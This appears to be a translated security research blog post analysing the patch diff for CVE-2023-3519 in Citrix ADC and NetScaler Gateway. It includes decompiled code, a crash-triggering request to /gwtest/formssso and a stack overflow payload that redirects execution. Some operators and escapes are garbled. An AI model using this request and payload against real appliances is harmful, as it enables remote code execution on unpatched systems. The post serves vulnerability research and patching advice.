“ 在我们的上一篇文章中,我们揭示了Citrix ADC和NetScaler Gateway中的一个漏洞,该漏洞在CVE-2023-3519的补丁修复程序中被发现。尽管这个漏洞也很严重,但看起来在现实场景的威胁行为中,并没有利用这个漏洞。 ”
我们继续进行分析,并发现了一个终端点,可以在不需要任何特殊配置(如启用SAML)的情况下进行远程代码执行。这个漏洞更符合CVE的描述、Citrix的警告以及其他公开的研究的描述。
通过继续对补丁差异的分析,我们发现ns_aaa_gwtest_get_event_and_target_name有一些变化,如下所示。
代码语言:javascript复制// Unpatched Version
if (iVar3 1 == iVar7 -6) {
iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
pcVar8 = local_38;
if (iVar3 == 0) {
uVar9 = 0x16000c;
} else {
*(undefined *)(param_2 iVar3) = 0;
uVar9 = 0;
}
}
// Patched Version
if ((iVar3 1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
pcVar7 = local_38;
if (iVar3 == 0) {
uVar9 = 0x16000c;
} else {
*(undefined *)(param_2 iVar3) = 0;
uVar9 = 0;
}
}
注意iVar3的附加检查,然后将其作为参数传递给ns_aaa_saml_url_decode。向后追踪调用图,我们发现易受攻击的函数在ns_aaa_gwtest_get_valid_fsso_server的开头被调用,该服务器位于路径/gwtest/formssso。 通过查看这个端点,我们能够确定它需要一个值为start或stop的事件查询参数。然后,该函数在不进行长度检查的情况下对目标查询参数进行URL解码。为了验证,我们构建了以下请求:
代码语言:javascript复制GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 192.168.1.225
这导致了接下来的撞车事故。
经过一番尝试,我们成功将返回地址插入到堆栈中的某个位置,并在那里放置了一些INT3指令(0xcc)。我们使用的有效载荷如下所示:
代码语言:javascript复制payload = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload = b'xf0xc1xffxffxffx7f CCCCCCCCDDDDDDDDxccxccxccxcc'
我们再次在GDB遭遇崩溃。这一次是在我们的中断指令执行时停止的。
下一步是将其调整为能够运行任意命令,但这是另一篇博客文章的主题。 检测此漏洞非常具有挑战性,因为当在已修补和未修补的实例上发送非恶意有效负载时,此终端点的行为相似(返回500错误)。 尽管我们发现基于版本的检查(依赖于Last-Modified或哈希值和版本号)通常不太准确,但在撰写本文时,没有其他方法可以在不尝试利用该漏洞的情况下检测此漏洞。
我们建议各组织审查CISA的妥协指标,并根据Citrix咨询尽快修补Citrix ADC和NetScaler Gateway的实例。